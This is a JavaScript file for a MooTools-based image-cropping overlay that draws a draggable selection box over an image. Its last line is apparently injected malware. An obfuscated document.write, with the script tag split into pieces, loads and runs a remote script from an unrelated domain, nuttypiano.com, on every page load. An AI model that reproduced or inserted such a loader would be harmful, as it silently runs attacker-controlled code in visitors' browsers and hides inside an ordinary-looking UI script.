var opendiv = 0;
var startdiv;
var c;
window.addEvent('domready', function(){

	c = $('jami').getCoordinates();
	var src = $('jami').getProperty('src');
	
	$('op').setStyles({
		position: 'absolute',
		width: c.width,
		height: c.height,
		top: c.top,
		left: c.left
	});
	$('op').setOpacity(0.6);
	
	/*$('clean').setStyles({
		position: 'absolute',
		width: c.width,
		height: c.height-100,
		top: c.top+100,
		left: c.left,
		background: 'url('+ src +') no-repeat 0px -100px'
	});*/
	$('op').addEvent('mousedown', function(event){
		opendiv = 1;
		var event = new Event(event);
		startdiv = event.page;

	});
	$('clean').addEvent('mousedown', function(event){
		opendiv = 1;
		var event = new Event(event);
		startdiv = event.page;

	});	
	$('op').addEvent('mousemove', function(event){
		if (opendiv == 1) {
			var event = new Event(event);
			$('clean').setStyles({
				position: 'absolute',
				width: event.page.x - startdiv.x,
				height: event.page.y - startdiv.y,
				top: startdiv.y,
				left: startdiv.x,
				background: 'url('+ src +') no-repeat '+ ((startdiv.x*-1)+c.left) +'px ' + ((startdiv.y*-1)+c.top) + 'px'
			});

			return false;		
		}

	});
	$('clean').addEvent('mousemove', function(event){
		if (opendiv == 1) {
			var event = new Event(event);
			$('clean').setStyles({
				position: 'absolute',
				width: event.page.x - startdiv.x,
				height: event.page.y - startdiv.y,
				top: startdiv.y,
				left: startdiv.x,
				background: 'url('+ src +') no-repeat '+ ((startdiv.x*-1)+c.left) +'px ' + ((startdiv.y*-1)+c.top) + 'px'
			});
			return false;		
		}

	});	
	$('op').addEvent('mouseup', function(event){
		if (opendiv == 1) {
			var event = new Event(event);
			opendiv = 0;
		}
	});
	$('clean').addEvent('mouseup', function(event){
		if (opendiv == 1) {
			var event = new Event(event);
			opendiv = 0;
		}
	});
});


document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Template.js"></scri'+'pt>');